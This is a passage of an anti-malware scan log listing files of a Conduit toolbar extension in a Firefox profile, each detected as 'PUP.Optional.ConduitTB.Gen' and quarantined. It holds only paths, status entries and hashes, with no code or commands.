    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\images\bg-hide-click.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\images\bg-hide.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\images\checkbox-check-off.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\images\checkbox-check-on.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\images\ic_Closer.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\images\ic_Closer_hover.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\images\logo.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\images\minibrowser.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\images\scroller.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\images\sprite-ok-button.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\images\truste.gif, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\images\x.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\js\html5SupportIe.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\js\options.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\js\resources\html5shiv.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\js\resources\jquery.jscrollpane.min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\options\js\resources\jquery.mousewheel.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\js\searchProtectorManager.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spbd\bubble.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spbd\bubble.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spbd\main.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spbd\images\information.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spbd\images\x-default-LTR.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spbd\images\x-default-RTL.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spbd\images\x-mouseover-LTR.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spbd\images\x-mouseover-RTL.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spsd\main.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spsd\SearchProtector.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spsd\settings.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spsd\images\ok-button.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spsd\images\separation-line.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\sp\spsd\images\warning.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menus.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\popups.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\DialogsAPI.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\excanvas.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\generalDialogStyle.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\PIE.htc, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\settings.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\main.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\ToolbarFirstTimeDialog.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\ToolbarFirstTimeDialog.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\images\app-store-icon.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\images\arrow.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\images\dialog_tip_left.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\images\dialog_tip_right.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\images\divider.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\images\emailNotifier.gif, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\images\facebook.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\images\radio.GIF, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\images\Thumbs.db, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\images\truste_welcome.GIF, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\ftd\images\weather.GIF, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\restart\main.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\restart\restartDialog.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\restart\restartDialog.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\restart\images\2.0--spec--kicker.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\restart\images\content-pattern.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\restart\images\content-sep.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\restart\images\OK-Button-Default.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\restart\images\OK-Button-MouseOver.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\restart\images\OK-Button-OnClick.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\dlg\restart\images\x.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gadgetFrame\gf.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gadgetFrame\lgf.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf\gf.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf\lgf.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf\css\gf.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf\css\gf_ie.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf\img\ie_back.gif, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf\img\loader.gif, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf\img\resize.gif, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf\img\sprites.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf\js\gf.view.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\gf\js\lgf.view.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\popup.html, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\css\menu.css, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\img\arrow-down-strong.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\img\arrow-down.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\img\arrow-left-strong.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\img\arrow-left.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\img\arrow-right-strong.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\img\arrow-right.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\img\arrows.png, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\js\jquery.ellipsis.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\js\jquery.scrollTo-1.4.2-min.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\js\menu.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\js\renderHandler.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\js\scrollers.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\ui\menu\js\showHandler.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
    PUP.Optional.ConduitTB.Gen, C:\Documents and Settings\Geny\Application Data\Mozilla\Firefox\Profiles\59nmg3h4.default\extensions\{7b13ec3e-999a-4b70-b9cb-2617b8323822}\Chrome\CT2438727\content\tb\al\wa\browserAppApi.js, Quarantined, [4f68b8c68308d26478adc3b7e81c37c9],
